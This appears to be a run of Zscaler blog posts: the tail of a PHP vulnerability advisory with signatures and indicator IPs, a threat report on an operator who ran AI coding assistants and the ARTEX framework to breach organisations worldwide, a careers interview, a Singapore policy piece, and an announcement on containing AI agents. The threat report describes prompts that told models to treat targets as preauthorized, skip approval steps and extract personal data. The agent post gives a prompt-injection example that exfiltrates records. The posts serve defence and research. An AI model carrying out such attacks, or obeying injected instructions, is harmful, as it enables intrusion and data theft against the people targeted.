active exploitation campaigns and update Zscaler platform protections as new indicators emerge. How Zscaler Can HelpThe following table shows the typical attack stages and the mitigations recommended by Zscaler.Attack StageRecommended MitigationMinimize the external attack surfaceIdentify and fix any vulnerable PHP applications with Zscaler Exposure ManagementEliminate externally exposed PHP assets by leveraging a Zero Trust architecture.Prevent compromiseDetonate unknown second-stage payloads with Advanced Cloud Sandbox.Route server egress through ZIA to detect/block post-compromise activity.Enable SSL/TLS inspection for all traffic, including trusted sources.Enable Advanced Threat Protection to block known C2 domains.Use Advanced Cloud Firewall, to extend C2 controls across all ports/protocols, including emerging C2.Prevent lateral threat movementUse ZPA to enforce least-privilege user-to-app segmentation for crown-jewel apps (employees and third parties).Use ZPA inline inspection to block exploitation attempts against private apps from compromised users.Use Zscaler Deception to detect and contain lateral movement or privilege escalation with decoy assets and accounts.Use Zscaler MDR and Threat Hunting to detect and respond to early stage threat activity.Prevent data lossInspect outbound traffic across channels with Zscaler DLP. Zscaler CoverageThe Zscaler ThreatLabz team has deployed protections for CVE-2026-109618 and CVE-2026-109619 with the following signatures:Zscaler Advanced Threat ProtectionThe Zscaler Advanced Threat Protection signatures detect exploitation attempts from ZIA traffic targeting internet-exposed servers:PHP.Exploit.CVE-2026-109618_19Zscaler Private Access AppProtectionThe ZPA App Protection signatures detect exploitation attempts against internal applications through ZPA, including activity originating from compromised endpoints or insiders:6000568: PHP Remote Code Execution (CVE-2026-109618, CVE-2026-109619)6000569: PHP2Shell Excessive Multipart Parts (CVE-2026-109618, CVE-2026-109619)Zscaler Deception Zscaler Deception customers can deploy Private Threat Intelligence decoys for the following applications to detect PHP2Shell exploitation attempts and generate high-fidelity alerts:WordPress LoginDrupal Admin PanelJoomla Admin PanelphpMyAdminNextcloudCustomers can configure an orchestration rule to add any IP addresses interacting with these decoys to a firewall block list.Zscaler MDRZscaler MDR's behavioral detection analytics also provide generic coverage for this class of web application RCE. The following active detection analytics are candidates for identifying post-exploitation activity that may result from these vulnerabilities:NIX-WEBSERVER-SPAWN-SUSPICIOUS-COMMAND — Linux web servers spawning suspicious commands including reconnaissance utilities and downloadersNIX-WEBSERVER-SPAWN-RECON — Web servers spawning reconnaissance commandsPSX-WEBSERVER-CREATE-PHP-SCRIPT — Web servers creating inline PHP scripts in web directories Indicators Of Compromise (IOCs)Zscaler Deception observed IP addresses delivering PHP2Shell-related payloads. Selected source IP addresses and their associated activity are listed below.IP AddressObserved activity169[.]58[.]138[.]154Nuclei code-injection + deserialization check23[.]226[.]136[.]36OOM / memory-exhaustion trigger (CVE-2026-109618)78[.]17[.]70[.]38 OS command exec + file write135[.]136[.]21[.]120 Persistent webshell81[.]17[.]100[.]107Real deserialization RCE gadget chains (phpggc)The full list of source IP addresses and JA4 fingerprints observed in this activity are available in the ThreatLabz GitHub repository.Contributors: Abhishek Parikh, Deepak Keshav, Prajjwal Singh, Sayan Mitra, Nataraja Gundale, Rishabh Nihalani, Sai Nikhil Perla, Rubin Azad

Inside a Global AI-Assisted Hacking Campaign

Seongsu Park (Staff Threat Researcher) — Wed, 21 Oct 2026 20:25:54 GMT

IntroductionIn October 2026, Zscaler ThreatLabz investigated AI-assisted cyberattacks that combined the ARTEX penetration testing framework with AI coding assistants and custom automation scripts. Initial reporting of the incident identified the targeting of South Korean financial institutions. However, ThreatLabz discovered additional information about the attack, which went far beyond South Korea. The AI-assisted attacks were widespread and targeted organizations around the globe and in multiple industry sectors.In this blog post, ThreatLabz examines the operator’s working environment, explains the roles assigned to AI models and tools, and analyzes the targeting and objectives reflected in the operator’s prompts. Key TakeawaysIn October 2026, ThreatLabz discovered information about an AI-assisted attack combining a customized ARTEX deployment with Claude Code, Codex, and Grok workspaces. Custom scripts shared instructions and supported handoffs between AI sessions.ARTEX was configured to use a DeepSeek model through an OpenAI-compatible gateway, but other configurations also specified DeepSeek, GLM, and Grok.Prompts directed AI models to divide investigation tasks and review one another’s findings, including instructions for GLM to review work performed by DeepSeek and its subagents.Saved project records and synchronization scripts were designed to preserve investigation context and progress across accounts, servers, and AI sessions. Prompt histories revealed targeting across multiple industries and geographic regions. Requests for bulk personal and transaction data, alongside questions about selling stolen data, suggest the attacks were financially motivated. BackgroundThreatLabz identified an ARTEX deployment that included AI assistant configurations, synchronization scripts, network routing tools, and a Claude Code prompt history. The recorded prompts spanned August 4 through October 4, 2026 (UTC). CrowdStrike separately reported on related ARTEX infrastructure and the targeting of South Korean financial organizations on October 7, 2026. This blog examines the broader working environment of the attacks and targets. Operator InfrastructureThe figure below illustrates the threat actor’s environment based on saved configurations and instructions.Figure 1: Architectural diagram of AI-assisted attack environment using ARTEX. Technical AnalysisThe following sections examine the operator’s infrastructure, customized tooling, AI environment configuration, and targeting objectives, offering a closer look at the workflow behind the campaign.Work server and jump serverAs Recorded Future detailed in their recent blog post, the operator's work server stored project files, scripts, AI settings, and a local ARTEX deployment. The jump server, 38.244.50.120, served as the default route for connections to targets.The jump server also ran additional AI sessions. The operator delegated research tasks to Grok on that server and instructed a separate AI session to review Grok’s findings. This setup divided work between the two servers, with the operator providing oversight and direction. Three custom scripts synchronized shared AI instructions and supporting files across accounts, which are described in the table below.Script namePurposetools/sync-all.shUses SSH and rsync to copy AI instructions, reusable task guides, saved notes, and tools to the jump server's root, claude, grok, and gemini accounts.sync-memory.shCopies saved AI notes, known as memory files, to locations on the jump server.tools/sync-cc-users.shCopies shared Claude Code instructions and supporting files to the gemini and glm accounts on the work server.Table 1: Custom synchronization scripts and their purposes for AI-assisted attacks.Each account maintained its own AI service settings. The synchronization scripts were designed to update model references within specialist agent instructions to match the destination account, allowing the workspaces to use shared instructions with different model configurations.The scripts also incorporated backups and validation checks designed to avoid overwriting modified destination files. These mechanisms indicate that the operator intended to keep configurations consistent across environments.Customized ARTEX deploymentARTEX is an AI-assisted penetration-testing framework. Its planner-and-worker architecture lets an operator define a goal, which AI agents break down into tasks, execute using tools, and document by retaining assets and findings for review. The recovered deployment extends the framework with additional tools for web, network, and Android analysis.The saved Docker Compose file defines an ARTEX container and a PostgreSQL 16 database. It configured the ARTEX interface to use host port 8890 and mapped PostgreSQL to 127.0.0.1:5435. The ARTEX container uses a custom image tagged artex-local:perf2-20261003. The corresponding Dockerfile adds tools including nmap, sqlmap, nuclei, httpx, jadx, apktool, and frida-tools. It also adds Python libraries for web processing and spreadsheet output and replaces the original ARTEX program with the operator’s local version.AI model setupThe operator changed model routing over time and used account names that did not always match the configured model. To understand this setup, it is important to distinguish the client application, such as Claude Code, from the model service receiving its requests.For example, the saved ARTEX environment configuration specifies:ARTEX_LLM_PROVIDER=openai ARTEX_LLM_MODEL=deepseek-v4.1-flash ARTEX_LLM_BASE_URL=https://xcai.pro/v1Here, openai specifies an OpenAI-compatible API format. The model field requests deepseek-v4.1-flash, while the base URL routes requests to xcai.pro. These settings identify the requested model and gateway endpoint, but do not confirm which underlying model the gateway actually served.The table below summarizes the model assignments recorded in the collected configurations. Model names are reproduced as requested IDs and were not independently verified.Workspace or componentRequested model IDsRoleARTEX local deploymentdeepseek-v4.1-flashModel backend for ARTEX's task workflow, configured through https://xcai.pro/v1.Codex (.codex/config.toml)deepseek-v4-proAlternative coding-agent interface configured to send requests to https://api.deepseek.com/v1.Local account named gemini, running Claude Codedeepseek-v4.1-flashWorkspace using shared instructions and specialist agents.Local account named glm, running Claude Codeglm-5.3Workspace configured to request GLM and use the shared workflow.Jump-host accounts named root and claudeglm-5.3, glm-5.3-flashAssigned analyzer and collector roles in the jump-host synchronization script.Jump-host account named grokgrok-4.7-xhigh, grok-4.7-build-fastAssigned analyzer and collector roles; operator also requested remote research and continued auditing.Jump-host account named gemini xcai/deepseek-v4.1-flashWorkspace the operator explicitly requested to reconfigure to use DeepSeek.Table 2: AI model configuration and assigned roles used in the AI-assisted attacks.In some instances, the threat actor assigned distinct roles to individual AI models. The prompt history includes instructions for DeepSeek to conduct the initial investigation, followed by GLM reviewing the findings for potential gaps. One translated prompt states: "When DeepSeek says it has exhausted all attack surfaces and I say to start a GLM review, GLM should review DeepSeek's previous work and its subagents' work."Later prompts assigned GLM additional investigation tasks, extending its intended role beyond reviewing DeepSeek’s findings.The operator requested both Grok’s native terminal application and a Claude Code setup configured to use Grok as its underlying AI model. For the Claude Code integration, the operator installed a bridge service called grok2api on the jump server. Prompts assigned extensive research tasks to Grok on that server and other AI sessions to review its output. The prompt history shows repeated requests to modify this configuration, but the specific setup used for each task could not be confirmed.The records establish the use of the Claude Code application, with configurations specifying DeepSeek, GLM, and Grok. However, since the underlying model responding to each session could not be independently verified, it's possible that some sessions used Anthropic’s Claude models.Persistent project stateThe operator organized each investigation into a separate folder. A script created files to record targets, testing progress, notes, vulnerability reports, and supporting evidence. These records provided context that an AI assistant could read to resume an investigation in a later session.File or folderWhat it recordsscope.mdWebsites, servers, or applications selected for investigation.surface.mdDiscovered pages, APIs, and other entry points, including their testing status.notes.mdCompleted work, decisions, and next steps.findings/Reports on potential or confirmed vulnerabilities.evidence/Supporting files, such as captured responses and tool output.Table 3: AI-assisted attack investigation files and folders and their purposes.The operator also configured a mechanism to help AI sessions retain context, track progress, divide tasks, and resume work started in other sessions:Provide project context with each prompt: An automated hook script (tools/project_context_hook.py) was configured to execute when a new prompt was received, read the current project files, and attach a brief summary of testing status, recent notes, and paths to relevant memory files. This provided context to help the AI continue previous work.Distribute tasks among specialized AI agents: The operator created tailored instructions for agents assigned to discover APIs, review source code, or analyze Android applications. The primary AI session was directed to validate their outputs before recording them as confirmed findings.Reduce operator approval requirements: The instructions directed the AI to assume that all supplied targets were preauthorized. Some application settings also permitted autonomous actions without requiring explicit operator approval for each step.Facilitate cross-session handoffs: The operator configured Codex to ingest saved instructions and notes, allowing other accounts to access prior conversation histories. A task guide also instructed the AI running under the jump server's gemini account on how to take over an ARTEX task and review its results.Proxy exits, tunnels, and cloud backupThe operator instructed the AI tools to connect to targets through the jump server. Additional proxy configurations provided separate outbound IP addresses for individual projects, helping limit direct connections between the primary work server and target environments.SSH tunnels were configured to support bidirectional communication between the two servers for AI and file services. Background monitoring tasks were configured to restart supporting services and tunnels if they were interrupted.Investigation assets were archived to Backblaze B2, with reports, supporting evidence, source code, data exports, and backups organized into separate directories. This structure followed the operator's directive to separate each target's operational data from its final analysis report for easier retrieval.Target profile and objectivesThe prompt history showed targeting beyond South Korean financial institutions, including dating applications, SMS providers, cryptocurrency and payment platforms, gift-card portals, gambling sites, retail platforms, educational services, logistics companies, and legal settlement systems. The targets also spanned multiple geographic regions, suggesting an opportunistic approach. The recorded prompts included requests to scan or investigate organizations in Canada, China, Cuba, Hong Kong, India, Indonesia, Japan, Kazakhstan, Kenya, Malaysia, Nigeria, South Africa, South Korea, Taiwan, Thailand, the United Arab Emirates (UAE), the United Kingdom, the United States, and Vietnam. The figure below shows the geographic distribution of targets referenced in the operator’s prompt history.Figure 2: Geographic distribution of targets referenced in the AI-assisted attacks prompt history.The table below summarizes representative target categories and the desired outcomes requested in the threat actor's prompts:Target or sectorRequested outcome in the prompt historySocial and dating servicesCollect frontend files and subdomains; gain access to user records.SMS providersGain administrative access, obtain SMS-channel credentials, or identify ways to send unlimited messages at no cost.RetailObtain customer order data.EducationObtain course-purchase records or user data.Investment servicesReview prior investigation records and obtain current data.Cryptocurrency and digital assetsFind a vulnerability that would allow NFT gifts to be obtained for free.Legal claims administrationReview investigation records, analyze claim workflows, and assess opportunities for additional access.Table 4: Representative target sector categories and requested outcomes in AI-assisted attacks prompt history.Prompt histories indicate an explicit focus on obtaining structured personally identifiable information (PII) and mobile phone numbers. In one instance, the operator stated that database dumps lacking phone number fields were of no value and requested alternative injection methods. In another prompt, the operator questioned why a specific SQL query targeting demographic data for female users over 30 returned only approximately 300 records.The threat actor instructed AI models to decrypt encrypted fields, parse transaction histories, translate database schemas into Chinese, and remove irrelevant metadata. These requests suggest an intent to prepare datasets for monetization.Prompts about underground data marketplaces further support this assessment. In one example, the operator asked: "If hackers compromise Korean data, where do they usually sell it?"Additional prompts focused on extracting payment gateway API keys, exploiting NFT minting workflows, and gaining unauthorized administrative privileges.To reduce the risk of detection, the threat actor explicitly warned AI models not to initiate direct account withdrawals, noting that unauthorized financial transactions could trigger security alerts or create traceable records. Threat AttributionThe recovered records point to a Chinese-speaking operator. The operator wrote predominantly in Chinese, requested Chinese as the default response language, specified China Standard Time, and instructed the AI to translate exported data fields into Chinese. In discussions about SMS services and app downloads, the operator referred to Chinese services and applications as “domestic.” The operator also supplied the same mobile number in mainland China format for accounts with a Chinese proxy provider and a cloud-phone service. ConclusionThis investigation shows how a threat actor combined open source security tools, AI assistants, and custom automation scripts to launch attacks globally. Shared project records, specialized agents, and instructions for reviewing other models’ findings created a workflow designed to continue investigations across AI sessions under the operator’s direction. The prompt history also revealed broad targeting and an emphasis on obtaining personal and financial data, indicating the attacks were likely financially motivated.To defend against AI-assisted attacks, organizations should adopt a Zero Trust architecture that minimizes internet exposure and enforces least-privilege access. The Zscaler Zero Trust Exchange supports these principles by making applications invisible to the public internet and restricting access to authorized users. Zscaler Exposure Management, part of Agentic SecOps, helps identify and prioritize exposures for remediation, while Zscaler Deception uses decoys to detect unauthorized exploration and divert attacks from legitimate assets. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels with the following threat name:AI.HackTool.ARTEX Indicators Of Compromise (IOCs)Network indicatorsIndicatorDescription23.248.226.250Work server23.248.226.251Work server23.248.226.252Work server23.248.226.253Work server23.248.226.254Work server38.244.50.120Jump server154.201.79.246:443Proxy pool API205.214.59.31:443Upstream SOCKS proxy161.8.161.140:11005Upstream SOCKS proxy MITRE ATLAS Framework MappingIDTechnique NameAnnotationAML.T0040AI Agent Tool IntegrationIntegrated AI coding assistants (Claude Code, Codex, Grok, ARTEX) with execution privileges for system tools (nmap, sqlmap, jadx, custom Python scripts) to autonomously interact with targets.AML.T0043Autonomous AI Reconnaissance & Exploitation Employed ARTEX planner/worker agents and dedicated role prompts (collector.md, analyzer.md) to break high-level objectives into executable scanning and exploitation steps.AML.T0048Multi-Model LLM Routing & DelegationConfigured distinct model backends (deepseek-v4.1-flash, glm-5.3, grok-4.7) across worker accounts via API gateways (xcai.pro) and custom protocol shims (xcai-shim.py).AML.T0051LLM Peer Review & VerificationEstablished a multi-agent review workflow where GLM sessions audited DeepSeek's outputs upon completion to identify unexamined attack surfaces and verify findings.AML.T0054AI Guardrail Bypass / System Prompt EngineeringCrafted system prompts instructing AI sessions to treat target environments as pre-authorized and bypass interactive approval prompts for autonomous tool execution.AML.T0052Persistent AI Context & State ManagementImplemented context injection hooks (project_context_hook.py) and synchronization scripts (sync-memory.sh) to maintain project state and memory across separate AI sessions.

Meet Sebastian Gust: What It Takes to Thrive as a Sales Engineer at Zscaler

Zscaler Life (Zscaler) — Wed, 21 Oct 2026 18:23:01 GMT

Sebastian Gust, Senior Sales Engineering Manager, leads a team working with Germany’s largest enterprise accounts during a pivotal shift in cloud and security architecture. In this Q&A, he shares what drew him to Zscaler, how he thinks about leadership, and what prospective candidates can expect from his team.What does your team focus on, and what does day-to-day work look like for an SE on your team?Our focus is direct customer impact. A typical week involves multiple customer touchpoints every day—ranging from discovery calls with new stakeholders and technical workshops to detailed Proofs of Value (POVs), architecture reviews, and long-term strategic alignment. The goal is always to solve concrete business pain and help customers reach their goals.Technically, our "bread and butter" is anchored in networking and security fundamentals—specifically building a strong Zero Trust foundation using Zscaler Internet Access (ZIA) and Zscaler Private Access (ZPA).Do candidates need to be AI Security experts to join your team?You need a solid baseline in networking and security first, and AI skills are built on top of that foundation.Most major enterprises already use ZIA and ZPA, so our conversations are evolving toward helping them use AI safely. Because Zero Trust manages user-to-application communication, it naturally becomes the foundation for securing AI—whether that’s user-to-application, autonomous agent-to-application, or agent-to-agent (A2A) interactions. Core SEs handle these foundational AI discussions daily, but we are also building a dedicated overlay AI Security SE team—our in-house subject matter experts—who step in when deep specialization is required.Internally, we also practice what we preach by equipping our team with advanced AI tools, including self-built AI agents, to streamline workflows and boost productivity.What drew you to Zscaler, and what makes it such an exciting place to work right now?I was drawn to Zscaler for the opportunity to combine my background in networking, infrastructure, and security with direct, technical customer interaction—especially as we tackle complex security challenges around AI.What makes it so exciting right now is our unique position in the market. If you love technology, it’s an incredible environment to learn alongside exceptionally smart colleagues across Germany and globally. We are in a sweet spot: large enough to have strong processes and clear direction, but agile enough that you can have a real impact. As an SE, you can reach out directly to Product Management, bring customer needs straight to decision-makers, and truly shape the product.What kind of person thrives on your team?We work with major enterprise accounts, so success comes down to dynamic range—engineers who can think strategically about long-term account goals while getting hands-on technically to solve complex problems.In our EMEA Majors structure, every SE is paired 1-to-1 with an Account Executive (AE). This close partnership means you operate as a dedicated unit, taking total ownership of the account strategy. I look for people with customer obsession, initiative, and a willingness to collaborate beyond standard job boundaries.How would you describe your leadership style?My style is grounded in autonomy and collaboration. I set clear outcomes and give skilled professionals full ownership to execute. My role is to remove roadblocks, provide continuous feedback, elevate impact, and ensure we succeed together.How do you support career development on your team?Career growth is a regular topic in my one-on-ones. Engineers get busy, so part of my job is keeping their long-term trajectory top-of-mind.It can be something simple like encouraging someone to work on communication or identify a development area and take a first step. My role is to help people move forward in ways that matter for them.There are also clear pathways to advance into management, progress into Principal-level SE roles within our core ZIA/ZPA solutions, or transition into specialized overlay teams like AI Security.What’s the best piece of advice you’ve received in your career?You own your career. You can’t expect your manager to own your development or make sure everything happens for you. You have to take responsibility for it yourself.What’s something personal that helps people get to know you beyond your title?I do a lot of sports. I enjoy biking and hiking, and I try to be outdoors every day. I live in southeast Bavaria, close to the mountains, so that helps. I also used to work as a snowboard instructor on weekends.

Singapore’s Cybersecurity Strategy 2026: Building Resilience in the Age of AI

Adam Dobell (Head of Government Affairs, APJ) — Wed, 21 Oct 2026 17:00:00 GMT

Singapore International Cyber Week (SICW) has once again demonstrated why Singapore is a global leader in cybersecurity. From 12-15 October, ministers, senior officials, industry leaders and cybersecurity experts from across the globe convened for its 11th edition. The event also reflects the sustained commitment and execution of the Cyber Security Agency of Singapore (CSA), which has built SICW into one of the world’s most important cybersecurity gatherings. SICW 2026 was no exception.This year’s event also marked a changing of the guard. It was the first since David Koh’s departure as CSA’s founding Chief Executive, following more than a decade of leadership. His legacy is considerable, but the transition to Chief Executive Gwenda Fong’s leadership has been seamless, allowing for strategic consistency.That institutional continuity was on full display with the launch of Singapore’s Cybersecurity Strategy 2026 amidst a rapidly changing cyber landscape. As Senior Minister K Shanmugam emphasised in his opening address at SICW, Singapore must move towards more proactive cyber defence, acting earlier, at national scale and at the speed of emerging threats. AI increases urgency of Zero Trust shiftAI presents two distinct security challenges for organisations: protecting systems against increasingly capable AI-enabled attacks, and ensuring that AI systems themselves operate securely.The challenge of securing Singapore’s digital future was underscored by IMDA’s Singapore Digital Economy Report 2026, released on 5 October. It found nearly one in four businesses in Singapore adopted AI in 2025. Overall, Singapore’s digital economy reached S144.1 billion, reinforcing why secure-by-design architectures are now essential as AI adoption becomes core to economic growth.This is why the new strategy is right to focus on the need to strengthen upstream protection and reduce overall exposure to all cyber threats and consequences.Simply identifying and patching vulnerabilities faster will no longer be sufficient. Organisations must also systematically reduce the opportunities available to attackers in the first place and govern AI effectively and securely.That means removing unnecessary internet-facing exposure, limiting access to applications and data to only authorised users and agents, and preventing a compromise in one part of an organisation leading to access across all segments of technology and business processes.These are the fundamental principles of Zero Trust. Importantly, Singapore has already demonstrated what best practice looks like.Through GovTech’s Government Zero Trust Architecture (GovZTA), Singapore has established an approach to securing government systems that challenges traditional assumptions about network trust and places greater emphasis on controlling access and limiting the consequences of compromise.The opportunity now is to build on this experience and extend the architectural principles of Zero Trust to a greater extent into Singapore’s critical infrastructure and wider economy. Partnership and implementationZscaler was pleased to be formally acknowledged in Singapore’s Cybersecurity Strategy 2026. We were glad to contribute to its development through our engagement and partnership with CSA in the lead-up to its publication.Singapore’s willingness to bring government and industry together is one of its greatest strengths.The challenge now is implementation: translating the strategy’s ambitions into security architecture and capabilities that reduce exposure, contain compromise and strengthen resilience across government, critical infrastructure and the wider economy.There is also an important regional opportunity. As Singapore prepares to chair ASEAN in 2027, its experience with Zero Trust adoption and its new national strategy offer valuable lessons for governments across Southeast Asia seeking to accelerate their own digital transformation efforts securely. Zscaler is committed to supporting the implementation of Singapore’s Cybersecurity Strategy 2026. Advancing Zero Trust architecture, reducing exposure, containing compromise and enabling the secure adoption of AI will be central to strengthening Singapore’s cyber resilience.

Putting Boundaries Around Agents: Zscaler Supports NVIDIA OpenShell Reference Architecture for Safe AI Agents

Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives) — Wed, 21 Oct 2026 11:30:09 GMT

NVIDIA draws the boundary around the agent. Zscaler extends it to everything the agent can reach.I spend a lot of my time with CISOs, and the question they are asking me has changed. A year ago it was whether to allow AI at all. Now it's all about what they need to do to make it safe and accelerate the process of taking agents into production.It's a fair question, but a harder one to answer. For a couple of years enterprise AI mostly answered simple user prompts and then waited for the next one. The newer agents take a complex task, work out for themselves how to get there, and keep going without checking in with anyone, which is exactly what makes them useful and also what makes them hard to govern. They've shown, over and over, that they'll find routes nobody planned for: out of a test environment, into systems they were never granted, on to actions no one signed off on. The Zscaler blog Zero Trust for Artificial Intelligence walks through the public cases of unintended agentic behavior in detail, and what struck me reading it is how consistent the pattern is. In each case the agent had more access than its task required, and nothing stood between it and the systems it touched.I wouldn't call those agents broken. They were resourceful and doing what they were built to do, which is to find a way. When I look at these incidents I see failures of access rather than reasoning. That gap is what the work I’m writing about today is meant to close and why I am announcing that we are supporting the NVIDIA OpenShell Reference Architecture for safe AI agents which establishes enforceable boundaries for autonomous agents. Extending those controls with Zero Trust architecture, Zscaler delivers Security for AI across enterprise access, data protection, and security operations, helping organizations adopt agents while controlling access and limiting the impact of compromised behavior. The user we didn't plan forWhen Zscaler started, more than fifteen years ago, the idea that nobody should sit on your network was a tough sell to all but a handful of pioneers. The argument was simple enough. A trusted exchange should broker each connection between a user and the internet or application they're trying and entitled to reach, verify it, inspect it inline, and allow nothing more. That same Zero Trust thinking runs through how we secure the enterprise at every level, and it’s the foundation we built Zscaler Security for AI on when it became clear that agents were going to be the biggest shift CISOs and industry have had to absorb since the internet itself. For access purposes, an agent is another user. However, the differences between an agent and a human user are dramatic. An agent can be created in seconds, it keeps working after the person who started it has logged off, and it can multiply. And too often we blindly hand it the full credentials of whoever invoked it, which is the part that worries me most.So there's one question I'd put to any agent deployment: for each connection this agent makes, who decided it was allowed? If the answer is the agent, or the prompt, or nobody in particular, that harkens back to a complex access problem, whatever model is running underneath.Zero Trust for Artificial Intelligence sets out nine zero trust principles for answering that question, from inventory and flow control through to access governance. I encourage you to check it out for the full overview. To understand the significance of our announcement with NVIDIA, let’s explore what happens when two of those principles get a home in runtime and silicon. NVIDIA draws the boundary. Zscaler extends it.None of this is new to computing. Operating systems don't let user-space code police itself; enforcement sits below the layer it protects, and we stopped arguing about that decades ago. NVIDIA OpenShell Reference Architecture for safe AI agents brings the same discipline. NVIDIA’s ownAI safety and security team says it well in Where Security Fits in an AI Agent Stack: the harness guides what an agent tries, and the infrastructure determines what it can do.The NVIDIA OpenShell Reference Architecture for safe AI agents combines OpenShell secure runtime with NVIDIA Vera Rubin for inference, NVIDIA Vera CPUs for agent harnesses and tool use, and NVIDIA BlueField-4 DPUs running NVIDIA Sentry for continuous, out-of-band monitoring and in-silicon enforcement. NVIDIA OpenShell is an open source runtime that contains the agent and governs what it can see, do, and reach, which in zero trust terms is flow control built into the place where the agent actually runs. NVIDIA OpenShell governs agent execution and access through policy enforcement outside the agent’s process, including kernel-level sandbox controls. The second, NVIDIA Sentry, runs on NVIDIA BlueField-4 and monitors agent activity and enforces policy independently in silicon. Think of it as continuous evaluation and containment from somewhere the agent can't touch, providing another layer of protection for high-stakes environments.Today, alongside NVIDIA's announcements at NVIDIA GTC Berlin, Zscaler is joining the ecosystem building on that platform, and we're working with NVIDIA to bring Zscaler Security for AI based on the OpenShell Reference Architecture.Agent workflows span runtime environments, external APIs, internal data stores, and cloud identities. Building on NVIDIA’s runtime and hardware enforcement layers, Zscaler brings Zero Trust enterprise-wide access controls, data protection, and security context to those interactions.An agent that can reach nothing isn't much use to anyone, so to do real work it has to call external APIs, read from internal document stores, and operate under cloud identities. Much of that happens a long way from the cluster where the agent runs, often on infrastructure that has no dedicated hardware enforcement at all. NVIDIA OpenShell governs agent execution: which resources and data agents can reach, and where its inference is routed. Zscaler picks up at the moment the agent reaches beyond the runtime. Through the Zero Trust Exchange, governing each call by identity and policy, with inline inspection, data protection, and security context across external APIs and models, MCP servers and tools, internal applications, data stores, and cloud/SaaS services. And because agents will not all run inside a governed runtime, Zsacler extends the same visibility and control to agents operating on endpoints and in cloud workloads, so security teams see and govern the full population of agents in the enterprise, not only the sanctioned ones. Together, this gives enterprises containment at the runtime and consistent control everywhere the agent runs and across everything it touches. Containing Unbound AgentsTake an agent running in an OpenShell runtime that's been asked to reconcile customer records. Partway through, one of the documents it retrieves turns out to contain hidden instructions telling it to send those records to an outside address.The agent's identity is the same, its credentials are valid, and the task it was given is legitimate. The only new thing is the connection it's about to make. With inline inspection in the path, the retrieved content can be examined as it arrives, so the injected instruction is flagged before the agent ever acts on it. And if the agent goes ahead and tries the transfer anyway, the request is evaluated against policy: this agent, on this task, has no reason to be sending customer data to that destination. The data is stopped in transit and the attempt is recorded. That’s the outcome. AI Guard and OpenShellOpenShell governs how an agent executes and where inference goes. What Zscaler AI Guard is designed to add at that crossing point is the organization's own AI policy, applied inline to prompts and responses, looking for prompt injection, jailbreak attempts, exposed secrets, sensitive data on its way out, and more. We've done a version of this with NVIDIA already. Earlier this year we released an AI Guard integration for NVIDIA NeMo Guardrails, and our work on OpenShell takes the same idea one level deeper, from the application into the runtime.AI Guard doesn't work alone. Zscaler AI Gateway, a product within the Zero Trust Exchange, brokers agent connections and scopes access to the task, and it's what extends the exchange we built for users so that it's ready for agents too. AI Access Graph, for its part, shows where agents are holding more privilege than they need. Where Sentry comes inInline control tells you what an agent may do. It doesn't, on its own, help a security team move quickly when something goes wrong, especially if an agent manages to bypass software boundaries entirely. This is where NVIDIA Sentry comes in. NVIDIA Sentry, built on NVIDIA DOCA and running on NVIDIA BlueField-4 DPUs, continuously monitors agent behavior and enforces security policies from a separate trust domain outside the host. When NVIDIA Sentry detects anomalous behavior or policy violations, it can enforce policy in real time and quarantine agents within milliseconds, while providing trusted telemetry to enterprise security platforms for investigation and response.But raw telemetry is valuable only if it reaches the people and systems that can act on it. By the time a SOC analyst manually traces rogue agent behavior back to a specific container, agent, and identity, the threat has already moved.Zscaler Exposure Management ingests this out-of-band telemetry from NVIDIA Sentry and NVIDIA DOCA Argus directly into the Zscaler Data Fabric for Security. This automatically correlates infrastructure signals with rich, real-world context, including the specific GPU node, container pod, application owner, and business criticality. By mapping these events against exposures, exploitability, identity, and active CVE threats, the system instantly prioritizes risk. For example, an exposure on a production cluster hosting proprietary model weights is automatically given a higher criticality than an identical exposure in a development sandbox.Zscaler Deception adds a proactive layer to this defense, deploying synthetic API keys, lure vector databases, and decoy agent endpoints across development pipelines. When an agent begins probing unauthorized pathways, these decoys trigger deterministic alerts that enable containment before any real asset is ever reached.With this new silicon-to-cloud visibility, our Agentic SecOps solution will soon be able to correlate NVIDIA DPU telemetry with zero trust, endpoint, identity, and cloud signals to determine the complete attack chain and its associated risk. It will then be able to execute coordinated containment across the entire attack chain: isolating endpoints, terminating rogue processes, revoking identity tokens, and updating Zero Trust Exchange policies to sever lateral access, without waiting on a manual handoff. How detection inside the cluster will become preventionOur team and NVIDIA's are working closely together to make sure that what one environment learns can protect the others: enterprise context informs what the silicon enforces, and what the silicon sees adds to enterprise context. Soon, when NVIDIA Sentry identifies an active exploit inside an AI cluster, our ThreatLabz researchers will analyze the behavioral signatures and forensic indicators. The resulting findings will automatically generate preventative inspection rules that propagate across the global Zero Trust Exchange, often triggering the creation of new detectors in Agentic SecOps to extend that protection to workstations, cloud workloads, and employees across the organization. And these controls will run in both directions. When Zscaler Agentic SecOps identifies a distributed campaign at the network or identity layer, it will soon be able to push verified behavioral detection policies directly back into the NVIDIA BlueField in-silicon policy engine, programming hardware-accelerated filters into the DPU for line-rate packet drops and workload isolation. Built in the openOpenShell is designed to be open source, and a meaningful share of its features now comes from teams outside NVIDIA, people who found concerns in production and sent fixes back. For infrastructure that many organizations are going to rely on, I think that's the right way to build, and we plan to be an active participant in it. It's the same reasoning that made Zscaler an inaugural partner in the Open Secure AI Alliance and a founding member of the Blueprint Alliance. What I would tell a CISO todayNobody I talk to is asking how to block agents. They're asking how to turn them safely. If I had to pick three places of advice for a CISO of where to start, they are these:Ask who decides. For every connection an agent makes, get an answer that isn't the agent.Inspect in the path. Logs will tell you what happened. Inline inspection changes what happens, which matters when an agent can make a hundred calls before anyone looks.Choose controls that travel. Your environment is going to be open, closed, hybrid, and multivendor all at once (it probably already is), and most of it won't sit behind dedicated hardware. Prioritize controls that work across models, runtimes, and vendors.Connect the loop. Feed deep cluster telemetry directly into your SecOps workflows. By combining silicon-level visibility with zero trust policies, you create a continuous feedback loop that turns local detection into global prevention.The foundation for autonomous AI is being laid in the moment we're in right now, and choices like these tend to stick around. I'm glad Zscaler is doing this work arm in arm with NVIDIA, and that we're doing it in the open.To go deeper, check out the recent blog “Zero Trust for Artificial Intelligence” or visit our Zscaler Security for AI and Agentic SecOps web pages. Safe HarborForward-looking statements: This blog contains forward-looking statements that are based on our management's beliefs and assumptions and on information currently available to our management. These include statements about planned integrations, product capabilities, and our work with NVIDIA. Forward-looking statements are subject to risks, uncertainties, and changes in circumstances, and actual results may differ materially. Any unreleased services, features, or integrations referenced here are not currently available and may not be delivered on time or at all. Customers should make purchasing decisions based on services and features that are currently available. Zscaler assumes 